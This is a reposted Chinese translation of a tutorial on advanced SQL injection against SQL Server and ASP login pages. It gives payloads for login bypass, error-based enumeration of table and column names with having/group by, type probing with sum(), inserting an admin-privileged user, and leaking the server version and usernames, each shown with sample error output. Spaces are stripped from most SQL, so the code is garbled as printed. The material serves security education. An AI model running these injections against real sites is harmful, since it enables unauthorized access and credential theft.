首页 | 源码下载 | 网站模板 | 网页特效 | 广告代码 | 网页素材 | 字体下载 | 书库 | 站长工具
会员投稿 投稿指南 RSS订阅
当前位置:主页>网络编程>SQL server>资讯:SQLServer应用程序中的高级SQL注入

SQLServer应用程序中的高级SQL注入

www.jz123.cn  2008-09-09   来源:   中国建站    袁袁整理    我要投递新闻

攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
Username:admin'—
攻击者可以使用users表中第一个用户,输入如下:
Username:'or1=1—
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
Username:'unionselect1,'fictional_user','some_password',1—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

通过错误消息获得信息
这个几乎是DavidLitchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。

为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
Createtalbeusers(
Idint,
Usernamevarchar(255),
Passwordvarchar(255),
Privsint
)
然后将下面的用户插入到users表中:
Insertintousersvalues(0,'admin','r00tr0x!',0xffff)
Insertintousersvalues(0,'guest','guest',0x0000)
Insertintousersvalues(0,'chris','password',0x00ff)
Insertintousersvalues(0,'fred','sesame',0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。
幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。
(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)
首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
Username:'having1=1—
这样将会出现如下错误:
MicrosoftOLEDBProviderforODBCDriverserror'80040e14'
[Microsoft][ODBCSQLServerDriver][SQLServer]Column'users.id'isinvalidintheselectlistbecauseitisnotcontainedinanaggregatefunctionandthereisnoGROUPBYclause.
/process_login.asp,line35
因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到groupby子句只能感去找到一个一个字段名,如下:
Username:'groupbyusers.idhaving1=1—
出现的错误如下:
MicrosoftOLEDBProviderforODBCDriverserror'80040e14'
[Microsoft][ODBCSQLServerDriver][SQLServer]Column'users.username'isinvalidintheselectlistbecauseitisnotcontainedineitheranaggregatefunctionortheGROUPBYclause.
/process_login.asp,line35
最终攻击者得到了username字段后:
‘groupbyusers.id,users.username,users.password,users.privshaving1=1—
这句话并不产生错误,相当于:
select*fromuserswhereusername=''
因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。
能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:
Username:'unionselectsum(username)fromusers—
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:
MicrosoftOLEDBProviderforODBCDriverserror'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Thesumoraverageaggregateoperationcannottakeavarchardatatypeasanargument.
/process_login.asp,line35

这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。
Username:'unionselectsum(id)fromusers—
MicrosoftOLEDBProviderforODBCDriverserror'80040e14'

[Microsoft][ODBCSQLServerDriver][SQLServer]AllqueriesinanSQLstatementcontainingaUNIONoperatormusthaveanequalnumberofexpressionsintheirtargetlists.
/process_login.asp,line35
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询,例如:
Username:';insertintousersvalues(666,'attacker','foobar','0xffff)—
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:
select*frommaster..sysmessages
解释这些将实现有趣的消息。

一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
Username:'unionselectversion,1,1,1—
MicrosoftOLEDBProviderforODBCDriverserror'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'MicrosoftSQLServer2000-8.00.194(IntelX86)Aug6200000:57:48Copyright(c)1988-2000MicrosoftCorporationEnterpriseEditiononWindowsNT5.0(Build2195:ServicePack2)'toacolumnofdatatypeint.
/process_login.asp,line35
这句尝试去将内置的'version'常量转化成一个整型数字,因为users表中的第一列是整型数字。

这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:
Username:'unionselectmin(username),1,1,1fromuserswhereusername>'a'—
这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:

上一篇:sql标签嵌套调用实现循环显示栏目文章标签 下一篇:MYSQL使用简述

评论总数:2 [ 查看全部 ] 网友评论